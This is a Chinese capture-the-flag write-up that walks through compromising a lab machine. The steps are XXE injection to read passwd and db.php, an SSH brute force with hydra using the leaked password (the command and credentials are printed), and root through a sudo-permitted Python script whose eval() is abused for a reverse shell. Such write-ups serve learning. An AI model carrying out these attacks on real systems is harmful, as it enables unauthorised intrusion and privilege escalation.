首先用nmap扫描靶机开放了那些端口和服务

22就不爆破了,来访问80端口试试

点着点着就来到了一个页面

随便试了一下,开始抓包

Data是一串被编码的字符串他是先用的bases64加密之后在用url编码加密,解出来之后是个xml的实体

这个就是试试xml实体注入了

xml实体注入,先把代码写出来在加密之后发送给服务器

  • 第1行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。
  • 第2-4行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体test。此处造成了XML实体注入攻击。
  • 最后一行是输出实体的值


在编码之后发送给服务器

这样就证明了xml实体注入的存在,而且获取到了passwd文件知道了服务器的用户名,这里陷入了僵局,不知道咋办了,在看了教程之后明白了要读取db.php看名字就和数据库有关

返回了一串加密字符串我们解密看看

是个连接数据库的php代码


// TODO -> Implement login system with the database.$dbserver = "localhost";$dbname = "bounty";$dbusername = "admin";$dbpassword = "m19RoAU0hP41A1sTsq6K";$testuser = "test";?>


用密码尝试登录admin和test用户没有成功,我门在passwd里面获得了用户名可以用这个密码爆破一波


┌──(root💀kali)-[/tools]└─# cut -d : -f 1 passwd.txt >user


得到用户名文本user,现在用hydra爆破用户名


┌──(root💀kali)-[/tools]└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh

爆破成功得到用户名密码


[22][ssh] host: 10.10.11.100   login: development   password: m19RoAU0hP41A1sTsq6K


登录服务器查看权限

普通用户权限,尝试提权

sudo -l 之后发现它可以无密执行一个python文件和python3.8的环境,我们打开文件看看是一个python脚本


#Skytrain Inc Ticket Validation System 0.1#Do not distribute this file.
def load_file(loc):\\判断文件是否是md后缀    if loc.endswith(".md"):        return open(loc, 'r')    else:        print("Wrong file type.")        exit()
def evaluate(ticketFile):    #Evaluates a ticket to check for ireggularities.    code_line = None    for i,x in enumerate(ticketFile.readlines()):        if i == 0:\\判断文件第一行是否是# Skytrain Inc            if not x.startswith("# Skytrain Inc"):                return False            continue        if i == 1:\\同上            if not x.startswith("## Ticket to "):                return False            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")            continue
        if x.startswith("__Ticket Code:__"):\\判断__Ticket Code:__在第几行            code_line = i+1            continue
        if code_line and i == code_line:            if not x.startswith("**"):\\判断地四行开头是否有**                return False            ticketCode = x.replace("**", "").split("+")[0]\\取这一行**和+中间的数字            if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4                validationNumber = eval(x.replace("**", ""))\\用eval()执行**后面的命令                print(validationNumber)                if validationNumber > 100:                    return True                else:                    return False    return False
def main():    fileName = input("Please enter the path to the ticket file.")    ticket = load_file(fileName)    #DEBUG print(ticket)    result = evaluate(ticket)    if (result):\\判断result是否为ture        print("Valid ticket.")    else:        print("Invalid ticket.")    ticket.close
main()


这里我对代码进行了注释,方便理解,我们构造一个asd.md文件

这里使and后面的执行等于falsh从而给代码返回1414是的函数return一个true

我们在kali监听并在靶机执行脚本

成功返回root权限的shell,之后获取flag,取得胜利!!